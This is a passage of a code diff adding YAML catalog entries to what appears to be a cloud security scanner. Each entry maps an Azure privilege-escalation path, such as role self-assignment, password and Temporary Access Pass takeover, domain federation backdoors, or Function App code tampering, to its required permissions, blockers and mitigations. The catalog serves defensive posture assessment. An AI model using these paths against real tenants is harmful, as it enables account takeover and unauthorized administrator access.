evaluator excludes already active membership or ownership and known approval-required self-activation. A missing instance or policy keeps a recorded path conditional. Only users can receive and activate eligible PIM for Groups assignments; a service principal active-assignment path is separate. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml new file mode 100644 index 0000000000..23f0266113 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml @@ -0,0 +1,437 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID (Azure AD) identity-plane privilege escalation: directory-role management, +# PIM activation, user credential takeover (password / authentication methods) and +# domain federation. +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-services/az-azuread.md, +# az-basic-information/README.md, az-persistence/README.md (rev 171e422; all entries re-verified against the page text at that revision). +# Target user sets follow Microsoft's "Who can reset passwords" / "Who can perform +# sensitive actions" tables (privileged-roles-permissions, checked 2026-10). +# +# Requirement keys used here: +# entra_role: (active assignment; the evaluator also +# resolves custom roles via entra_permission) +# entra_permission: microsoft.directory/... + optional scope: "{target.scope}" where +# {target.scope} is the Entra directoryScopeId +# that contains the target ("/", +# "/administrativeUnits/" or "/") +# graph_app_permission: +# entra_pim_eligible_role: "{target.id}" (PIM-eligible, not active, role assignment) + +- id: azure-entraid-graph-rolemanagement-readwrite-directory + provider: azure + service: entraid + title: Graph RoleManagement.ReadWrite.Directory assigns any directory role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#rolemanagementreadwritedirectory + source_revision: 171e422 + summary: An enabled service principal holding the Graph RoleManagement.ReadWrite.Directory application permission can assign itself an enabled Entra directory role at tenant scope, including Global Administrator. + requires: + all_of: + - graph_app_permission: RoleManagement.ReadWrite.Directory + target: + kind: entra_role + selector: + entra_role_assignable: any + entra_graph_directory_role_self_grant: true + scope: tenant + aggregate_as: "Every Entra directory role (incl. Global Administrator) in {scope}" + blockers: + - service_principal_conditional_access_block + confidence: derived + severity: critical + mitigation: Remove RoleManagement.ReadWrite.Directory from non-Tier-0 applications, treat holders as Global Administrator equivalents, and alert on role assignment creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + notes: This permission is also the only Graph permission that can manage membership of role-assignable groups (Group.ReadWrite.All cannot). Role-assignable groups and restricted management AUs do not limit this edge because the source can simply assign itself the role directly, including at restricted-AU scope. Delegated use of the same scope is bounded by the signed-in user's own role and is covered by the role entries. + +- id: azure-entraid-role-assignment-manage + provider: azure + service: entraid + title: Manage directory role assignments (Privileged Role Administrator) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#role-privileged-role-administrator + source_revision: 171e422 + summary: A principal allowed to manage tenant-scoped directory role assignments (e.g. Privileged Role Administrator) can obtain the privileges of any Entra directory role, including Global Administrator. + requires: + any_of: + - - entra_permission: microsoft.directory/roleAssignments/allProperties/allTasks + scope: "/" + - - entra_role: Privileged Role Administrator + - - entra_role: Global Administrator + target: + kind: entra_role + selector: + entra_role_assignable: any + entra_role_assignment_self_grant: true + scope: tenant + aggregate_as: "Every Entra directory role (incl. Global Administrator) in {scope}" + blockers: [] + confidence: derived + severity: critical + mitigation: Treat Privileged Role Administrator as Tier 0, keep it PIM-eligible with approval, and alert on role assignments to Global Administrator or other privileged roles. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#privileged-role-administrator + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/manage-roles-portal + notes: Privileged Role Administrator can assign itself an enabled directory role at tenant scope, including Global Administrator, unless it already has that role. A tenant-scoped Global Administrator already has the highest directory privilege and is not an escalation source. An app-only source additionally needs the Graph RoleManagement.ReadWrite.Directory application permission; a delegated user can use a supported Graph client. The allProperties/update action alone does not create a role assignment. An eligible but inactive PIM role is not an active assignment. + +- id: azure-entraid-custom-role-definition-update + provider: azure + service: entraid + source_kind: azure_user + title: Expand a custom directory role the source already holds + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#role-privileged-role-administrator + source_revision: 3a5bfbd852 + summary: A principal allowed to update directory role definitions can obtain the privileges of any custom-role-eligible permission set through the custom roles already assigned to it. + requires: + any_of: + - - entra_permission: microsoft.directory/roleDefinitions/allProperties/allTasks + scope: "/" + - - entra_permission: microsoft.directory/roleDefinitions/allProperties/update + scope: "/" + target: + kind: entra_role + selector: + entra_custom_role_assigned_to_source: true + scope: tenant + aggregate_as: "Custom roles assigned to {source} (expandable to any custom-role-eligible permission)" + conditions: + - id: custom_role_permission_eligibility + description: Only permissions eligible for custom roles can be added (e.g. applications/credentials/update, servicePrincipals/credentials/update, groups/members/update); users/password/update and roleAssignments permissions are not available to custom roles. + - id: graph_role_definition_update + description: The delegated Graph call needs RoleManagement.ReadWrite.Directory or Directory.ReadWrite.All, and Microsoft Entra ID P1 or P2 is required to edit custom role definitions. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict roleDefinitions write to Privileged Role Administrator / Global Administrator and review custom role definitions for credential-update permissions. + references: + - https://learn.microsoft.com/en-us/graph/api/unifiedroledefinition-update?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: Built-in role definitions are immutable. The target is the exact active custom role assigned to the source directly or through a recorded group; the role-definition update permission must be tenant-scoped. The gained permissions then feed other entries (e.g. application credential update) so the evaluator should chain this edge. If the source also holds roleAssignments write, azure-entraid-role-assignment-manage already dominates. + +- id: azure-entraid-pim-eligible-role-activation + provider: azure + service: entraid + title: Activate a PIM-eligible directory role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + source_revision: 171e422 + summary: An enabled user with a current PIM eligibility can activate a directory role they do not already hold when its policy does not require another person's approval. + requires: + all_of: + - entra_pim_eligible_role: "{target.id}" + target: + kind: entra_role + selector: + entra_pim_eligible_for_source: true + scope: tenant + aggregate_as: "Entra roles {source} is PIM-eligible for" + conditions: + - id: pim_activation_requirements + description: Activation may require MFA, a Conditional Access authentication context, justification, ticket information, or approval by designated approvers; approval-required roles are not self-activatable. + confidence: conditional + severity: high + mitigation: Require approval and MFA/authentication context for activation of privileged roles and review eligible assignments with access reviews. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-approval-workflow + notes: Eligibility may be direct or inherited from permanent membership of a role-assignable group. Service principals cannot hold eligible assignments. The evaluator checks current eligibility, existing active assignments, role enabled state and the expanded role policy. Known approval-required roles are excluded from self-activation; missing policy and restricted eligibility scopes remain conditional. An approver does not gain the role and cannot approve their own activation. + +# --------------------------------------------------------------------------- +# User credential takeover. Target sets follow the Microsoft "Who can reset +# passwords" table (tenant-scoped assignments). Common rules for all entries: +# - Users who are members or owners of a role-assignable group, and users holding a +# role scoped to a restricted management AU, are only reachable by Privileged +# Authentication Administrator / Global Administrator. +# - Members of a restricted management AU are only reachable when the source's +# assignment is scoped to that RMAU (even Global Administrator is blocked otherwise). +# - With an AU-scoped assignment the source reaches only AU members, and only those +# without any administrator role (except Privileged Authentication Administrator). +# - "Admin" means an Entra directory role. Users with powerful Azure RBAC roles +# (e.g. subscription Owner) but no directory role are "non-admins" and reachable. +# --------------------------------------------------------------------------- + +- id: azure-entraid-reset-password-password-admin + provider: azure + service: entraid + title: Password Administrator resets passwords of non-admins and limited roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A Password Administrator can obtain the privileges of users with no directory role or only Directory Readers, Guest Inviter or Password Administrator. + requires: + all_of: + - entra_role: Password Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: password_admin + entra_role_assignment_scope_covers_target: true + entra_password_admin_reset: true + scope: tenant + aggregate_as: "Non-admin users (and Directory Readers / Guest Inviter / Password Administrator) in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users may be overwritten by on-premises sync unless password writeback is enabled. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope Password Administrator to administrative units, place sensitive non-admin users (e.g. Azure subscription owners) in restricted management AUs, and enforce phishing-resistant MFA. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles per Microsoft table - none (non-admin), Directory Readers, Guest Inviter, Password Administrator. An administrative-unit-scoped Password Administrator can reset only non-admin users directly in that unit. Restricted-unit targets require a matching scoped assignment; members and owners of role-assignable groups are protected. Federated passwords cannot be reset in Entra and synchronized passwords depend on writeback. A non-admin with Azure RBAC Owner or User Access Administrator may still be a valuable target. + +- id: azure-entraid-reset-password-helpdesk-admin + provider: azure + service: entraid + title: Helpdesk Administrator resets passwords of non-admins and limited roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A Helpdesk Administrator can obtain the privileges of users with no directory role or only Helpdesk-resettable limited roles. + requires: + all_of: + - entra_role: Helpdesk Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: helpdesk_admin + entra_role_assignment_scope_covers_target: true + entra_helpdesk_password_reset: true + scope: tenant + aggregate_as: "Non-admin users and Helpdesk-resettable roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope Helpdesk Administrator to administrative units and protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles - none, Directory Readers, Guest Inviter, Helpdesk Administrator, Message Center Reader, Password Administrator, Reports Reader, User Experience Success Manager, Usage Summary Reports Reader. Global Reader is not allowed. An administrative-unit-scoped Helpdesk Administrator can reset only non-admin users directly in that unit. Restricted-unit targets require a matching scoped role assignment; role-assignable group members and owners are protected. Federated passwords cannot be reset in Entra and synchronized passwords depend on writeback. + +- id: azure-entraid-reset-credentials-authentication-admin + provider: azure + service: entraid + title: Authentication Administrator resets passwords and authentication methods of non-admins + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: An Authentication Administrator can take over a supported user account through password reset or authentication-method registration when the role assignment covers that user and protected-account restrictions allow the change. + requires: + all_of: + - entra_role: Authentication Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: authentication_admin + entra_auth_admin_user_takeover: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Non-admin users and Authentication-Admin-resettable roles in {scope}" + conditions: + - id: tap_policy + description: Temporary Access Pass issuance requires the TAP authentication method policy to be enabled for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope Authentication Administrator to administrative units, restrict TAP issuance, and protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + - https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0 + notes: The documented target matrix includes users with no directory role and Authentication Administrator, Directory Readers, Guest Inviter, Message Center Reader, Password Administrator, Reports Reader, User Experience Success Manager, and Usage Summary Reports Reader. AU-scoped Authentication Administrators can manage only non-admin users in that AU; restricted management AU members require a matching scoped assignment. Members or owners of role-assignable groups remain protected. TAP registration requires an enabled policy covering the target; password reset alone may still face MFA or Conditional Access. + +- id: azure-entraid-reset-password-user-admin + provider: azure + service: entraid + title: User Administrator resets passwords of non-admins and limited admins + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A User Administrator can obtain the privileges of users with no directory role and of users holding only User-Administrator-resettable roles (incl. Groups, Helpdesk, Password and User Administrators). + requires: + all_of: + - entra_role: User Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: user_admin + entra_role_assignment_scope_covers_target: true + entra_user_admin_password_reset: true + scope: tenant + aggregate_as: "Non-admin users and User-Admin-resettable roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope User Administrator to administrative units and keep it PIM-eligible; protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles - none, Directory Readers, Groups Administrator, Guest Inviter, Helpdesk Administrator, Message Center Reader, Password Administrator, Reports Reader, User Administrator, User Experience Success Manager, Usage Summary Reports Reader. Global Reader is not allowed. AU-scoped assignments reach only non-admin users in that unit, and restricted-unit targets need a matching scoped assignment. App-only resets additionally need User-PasswordProfile.ReadWrite.All plus a User Administrator role; scoped applications also need tenant directory read access. Role-assignable group members and owners are protected. Federated passwords cannot be reset in Entra, while synchronized passwords depend on writeback. + +- id: azure-entraid-reset-credentials-privileged-auth-admin + provider: azure + service: entraid + title: Privileged Authentication Administrator resets credentials of any user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: a66f094ede + summary: A Privileged Authentication Administrator (or Global Administrator) can obtain the privileges of any user in its scope, including Global Administrators. + requires: + any_of: + - - entra_role: Privileged Authentication Administrator + scope: "{target.scope}" + - - entra_role: Global Administrator + - - entra_role: Partner Tier2 Support + target: + kind: azure_user + selector: + entra_reset_matrix_column: privileged_auth_admin + entra_role_assignment_scope_covers_target: true + entra_privileged_auth_user_takeover: true + scope: tenant + aggregate_as: "All users (incl. Global Administrators) in {scope}" + conditions: + - id: tap_policy + description: Temporary Access Pass issuance requires the TAP policy to be enabled for the target; password reset does not satisfy registered MFA by itself. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Treat Privileged Authentication Administrator as Tier 0, never assign it to service principals, and require PIM approval. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management + notes: A restricted management AU target requires a matching scoped assignment; a Global Administrator inside a restricted AU cannot have its password reset there. Partner Tier2 Support is deprecated but retains reset authority. An application identity additionally needs a Graph application permission for password reset or TAP registration. Federated users need a TAP policy that covers them, while synced passwords depend on writeback. + +- id: azure-entraid-reset-password-partner-tier1 + provider: azure + service: entraid + title: Non-admin-only password reset roles (Partner Tier1 Support, Security Operator, SOC Identity Responder) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A holder of Partner Tier1 Support, Security Operator or Entra SOC Identity Responder can obtain the privileges of users with no directory role. + requires: + any_of: + - - entra_role: Partner Tier1 Support + - - entra_role: Security Operator + - - entra_role: Entra SOC Identity Responder + target: + kind: azure_user + selector: + entra_reset_matrix_column: non_admin_only + entra_nonadmin_password_reset: true + scope: tenant + aggregate_as: "Users without directory roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Remove Partner Tier1/Tier2 Support assignments (deprecated roles), keep Security Operator / SOC Identity Responder PIM-eligible, and protect sensitive non-admin users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Partner Tier1 Support is deprecated. Security Operator and Entra SOC Identity Responder hold microsoft.directory/users/password/update, but can reset only non-admin accounts. Role-assignable group members and owners are protected. Restricted-unit targets need a matching scoped assignment. Federated passwords cannot be reset in Entra; synchronized passwords depend on writeback. A disabled user also needs a separately authorized enable action before sign-in. + +- id: azure-entraid-graph-userauthenticationmethod-tap + provider: azure + service: entraid + title: Graph UserAuthenticationMethod.ReadWrite.All issues a Temporary Access Pass for any user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#userauthenticationmethodreadwriteall + source_revision: 171e422 + summary: An enabled service principal holding a Graph TAP write permission can issue a Temporary Access Pass for an enabled internal user included in the TAP policy, including an administrator. + requires: + any_of: + - - graph_app_permission: UserAuthenticationMethod.ReadWrite.All + - - graph_app_permission: UserAuthMethod-TAP.ReadWrite.All + target: + kind: azure_user + selector: + entra_graph_tap_user_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "All users (incl. administrators) in {scope} covered by the TAP policy" + conditions: + - id: tap_policy + description: The Temporary Access Pass policy must be enabled and include the target user without excluding their group; a single-use pass is sufficient for sign-in. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Grant authentication-method write application permissions only to Tier-0 apps, restrict the TAP policy to a small group, and alert on TAP creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability + notes: Microsoft documents a role requirement only for delegated calls (Authentication Administrator / Privileged Authentication Administrator, covered by the role entries); app-only calls are not documented as bounded by the role hierarchy, so admins are in scope. Graph application permissions do not apply to objects in restricted management AUs. + +- id: azure-entraid-domain-federation-backdoor + provider: azure + service: entraid + title: Federate a verified domain with an attacker-trusted issuer + source: src/pentesting-cloud/azure-security/az-persistence/README.md#federation---trusted-domain + source_revision: c2b0ea0f1b + summary: A principal allowed to update domain federation settings can obtain the privileges of users whose UPN is on a verified custom domain it can federate. + requires: + any_of: + - - entra_permission: microsoft.directory/domains/federation/update + scope: "/" + - - entra_permission: microsoft.directory/domains/federationConfiguration/create + scope: "/" + - - entra_permission: microsoft.directory/domains/allProperties/allTasks + scope: "/" + - - entra_role: Global Administrator + scope: "/" + - - entra_role: Hybrid Identity Administrator + scope: "/" + - - entra_role: External Identity Provider Administrator + scope: "/" + - - entra_role: Security Administrator + scope: "/" + - - entra_role: Domain Name Administrator + scope: "/" + - - graph_app_permission: Domain-InternalFederation.ReadWrite.All + - - graph_app_permission: Domain.ReadWrite.All + target: + kind: azure_user + selector: + entra_user_upn_on_federatable_custom_domain: true + scope: tenant + aggregate_as: "Users whose UPN is on a verified custom domain of {scope}" + conditions: + - id: graph_federation_authorization + description: Delegated callers need a Graph scope that permits federation writes. Converting a managed domain requires Domain-InternalFederation.ReadWrite.All. + - id: federation_sign_in + description: The issuer, signing certificate, relying party, and user sign-in must work for the target domain. + blockers: + - target_upn_on_initial_onmicrosoft_domain + confidence: conditional + severity: critical + mitigation: Restrict domains/federation/update (Global Administrator, Hybrid Identity Administrator, External Identity Provider Administrator, Domain Name Administrator) to Tier 0, keep break-glass and admin accounts on the *.onmicrosoft.com domain, and alert on federation setting changes. + references: + - https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference + notes: This path uses an already verified non-initial custom domain; adding a new domain and verifying DNS is a separate prerequisite and cannot by itself name existing users. The evaluator joins each target's UPN and recorded immutable ID to that exact domain. A managed domain needs federation creation authority and a federated domain needs update authority. Directory role permissions must be tenant-scoped. App-only Graph grants must be enabled on the Microsoft Graph service principal. Initial onmicrosoft.com domains cannot be federated. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml new file mode 100644 index 0000000000..bfff483fc5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml @@ -0,0 +1,143 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Function App-specific privilege escalation techniques (declarative only). +# Generic Microsoft.Web/sites techniques are in app_services.yaml and also apply to Function Apps. +# Source: hacktricks-cloud az-functions-app-privesc.md / az-app-services-privesc.md +# (rev 171e422, re-verified). +# Placeholder {target.host_resource.content_storage}: the storage account referenced by the app's +# AzureWebJobsStorage / WEBSITE_CONTENTAZUREFILECONNECTIONSTRING / WEBSITE_RUN_FROM_PACKAGE settings. + +- id: azure-functions-hostruntime-vfs-write + provider: azure + service: functions + title: Modify Function App files through the host runtime VFS + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntimevfswrite + source_revision: b2319b83d9 + summary: Writing executable Function App content through the ARM runtime VFS may let it run with the app's managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/hostruntime/vfs/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_function_host_vfs_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: writable_runtime_content + description: The running host must accept the VFS write to executable content and load the changed code. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict hostruntime/vfs/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-functions/deployment-zip-push + notes: The ARM hostruntime VFS permission is distinct from Kudu/SCM VFS authorization. The exact Function App host and a non-Flex, non-container, writable-content route are required. A known run-from-package mount blocks this file-editing path; unknown deployment mode and later execution remain conditional. + +- id: azure-functions-functions-write + provider: azure + service: functions + title: Create or update a function definition + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#replace-a-functions-code-with-microsoftwebsitesfunctionswrite + source_revision: 3d70185315 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/functions/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_function_definition_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: writable_content + description: Function content must be writable and the changed function must run before its managed identity is reached. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/functions/write. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/create-function?view=rest-appservice-2026-07-15 + - https://learn.microsoft.com/en-us/azure/azure-functions/deployment-zip-push + notes: The dynamic selector binds this action to the exact Function App hosting the identity, including a role scoped to an existing function child. Flex/package-based content cannot be modified through this route. Where package mode is not recorded, runtime execution remains conditional. + +- id: azure-functions-sites-write-source-control + provider: azure + service: functions + title: Repoint a Function App's deployment source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#change-github-repo + source_revision: 14edac2ecb + summary: Rewriting the app's source-control configuration to an attacker repository may deploy code with the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/sourcecontrols/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_appservice_sourcecontrol_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: deployment_runs + description: Changing the source-control metadata does not push code; a deployment from the new source must authenticate and succeed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict sourcecontrols/write and monitor deployment source changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/create-or-update-source-control?view=rest-appservice-2026-07-15 + notes: The same source-control operation is also modeled by azure-appservice-sourcecontrols-write. The selector binds the permission to this Function App's sourcecontrols/web child and leaves successful deployment and code execution conditional. + +- id: azure-functions-remote-debugging + provider: azure + service: functions + title: Enable remote debugging and attach a debugger to the Function App worker + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#remote-debugging + source_revision: 9772b41e74 + summary: Publishing credentials may permit remote debugger attachment to a supported running Function App after debugging is enabled, exposing its managed identity in the worker process. + requires: + any_of: + - - action: Microsoft.Web/sites/publishxml/action + scope: "*" + - - action: Microsoft.Web/sites/config/list/action + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_function_remote_debug_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: remote_debugging_supported + description: Remote debugging requires a running Windows C# Function App on Premium or an App Service plan and is automatically turned off after 48 hours. + - id: basic_auth_allowed + description: The debugger needs usable publishing credentials and a reachable debug endpoint; SCM basic auth must be allowed or enableable. + blockers: + - scm_and_ftp_basic_auth_disabled + confidence: conditional + severity: high + mitigation: Keep remote debugging off, disable basic auth and restrict config/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-common#configure-general-settings + - https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-publishing-credentials?view=rest-appservice-2026-07-15 + notes: The exact app must grant publishing-profile read or config/list on its publishingcredentials child. If remote debugging is not already enabled, config/write on that app's config/web child is also required. If SCM basic auth is disabled, basicPublishingCredentialsPolicies/write on that app's scm child is required. The worker language and debugger reachability remain conditional when not recorded. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml new file mode 100644 index 0000000000..eb7a6ac9ef --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml @@ -0,0 +1,43 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Machine Configuration (Guest Configuration) techniques (declarative only). +# Source: hacktricks-cloud az-guest-configuration-privesc.md (rev 171e422). +# The Guest Configuration agent runs the assigned DSC package as LocalSystem/root, so in-guest code +# reaches every managed identity exposed by IMDS (Azure VM) or HIMDS (Arc server) on that machine. + +- id: azure-guestconfiguration-assignment-write-arc + provider: azure + service: guest_configuration + title: Create a guest configuration assignment on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#in-guest-rce-via-a-guest-configuration-assignment-marquee + source_revision: 547f1ea0c8 + summary: The source can obtain the privileges of the Arc machine's managed identity, because the built-in guest configuration agent runs the package as LocalSystem/root. + requires: + all_of: + - action: Microsoft.GuestConfiguration/guestConfigurationAssignments/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_guest_configuration_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_agent_connected + description: The Connected Machine agent must be connected and guest configuration must not be disabled in the agent's local configuration. + - id: custom_package_runs + description: The machine must download and run the attacker's valid custom package before its identity can be used. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict guestConfigurationAssignments/write (Azure Connected Machine Resource Manager, Guest Configuration Resource Contributor) on Arc servers and keep Arc machine identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview + - https://learn.microsoft.com/en-us/azure/governance/machine-configuration/how-to/assign-configuration/azure-resource-manager + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/security-extensions + notes: The Arc agent includes guest configuration, so no separate extension write is required. The selector checks write authority on the exact machine's assignment child, including an existing assignment if its resource is collected. Agent-side disablement and package execution are not collected and remain conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml new file mode 100644 index 0000000000..b0d3293647 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/image_builder.yaml @@ -0,0 +1,45 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure VM Image Builder techniques (declarative only). +# Source: hacktricks-cloud az-image-builder-privesc.md (rev 171e422). +# Customizers run as root/SYSTEM on the build VM. Only the build-VM 